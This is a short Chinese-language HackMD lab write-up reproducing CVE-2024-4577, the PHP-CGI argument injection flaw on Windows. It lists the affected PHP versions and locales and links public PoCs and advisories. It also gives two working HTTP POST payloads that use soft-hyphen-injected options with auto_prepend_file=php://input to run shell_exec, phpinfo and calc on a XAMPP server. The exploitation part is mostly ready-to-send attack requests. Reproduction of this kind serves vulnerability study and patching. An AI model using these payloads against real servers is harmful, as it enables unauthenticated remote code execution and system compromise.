# CVE-2024-4577 PHP CGI 參數注入弱點漏洞復現 :::info Github PoC頁面 https://github.com/watchtowrlabs/CVE-2024-4577/tree/main https://github.com/11whoami99/CVE-2024-4577/tree/main DEVCORE研究 https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/ watchtowr的漏洞分析 https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/ ::: ## 漏洞版本 此弱點影響安裝於 Windows 作業系統上所有的 PHP 版本,詳情可參照下表: * PHP 8.3 < 8.3.8 * PHP 8.2 < 8.2.20 * PHP 8.1 < 8.1.29 XAMPP是全版本都有這個漏洞,只要是Windows版的都中招  且當 Windows 作業系統執行於下列語系時,未授權的攻擊者可直接在遠端伺服器上執行任意程式碼: * 繁體中文 (字碼頁 950) * 簡體中文 (字碼頁 936) * 日文 (字碼頁 932) 對於其它執行在英文、韓文、西歐語系之 Windows 作業系統,由於 PHP 使用情境廣泛、暫無法完全列舉並排除其利用情境 ## 漏洞復現 參考 https://blog.csdn.net/qq_48201589/article/details/139580175 ### 情景1 該漏洞使用前提是將PHP設定於CGI模式下執行 在 Apache Httpd 設定檔中透過 Action 語法將對應的 HTTP 請求交給 PHP-CGI 執行檔處理時,受此弱點影響 要利用前先到`httpd-xampp.conf`內將這幾行取消註解,然後重開apache  透過POST傳送封包 ``` POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 ... <?php echo shell_exec("dir"); ?> ``` 確認成功執行  --- 也可以透過上面附的[github PoC](https://github.com/watchtowrlabs/CVE-2024-4577/tree/main)來對此漏洞進行利用 但他程式好像寫得有點問題,只有呼叫能從網頁回傳的資訊,如phpinfo頁面才會顯示Exploit was successful 如果是那種直接呼叫向小算盤那種程式,則會因為找不到回傳的判斷所以顯示Exploit may have failed,但其實有正確執行  >害我Debug超久,被屌騙 ### 情景2 如果將PHP執行檔暴露在外的話,即使未設定PHP於CGI模式下執行,僅將PHP執行檔暴露在 CGI 目錄下也受此弱點影響 (XAMPP預設設定) 如果只用預設安裝的話可透過POST修改後的封包讓他執行php-cgi.exe ``` POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 ... <?php phpinfo();?> //注入的語法 ```  將注入語法修改成開啟calc,確認可以成功讓Windows彈出小算盤  
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.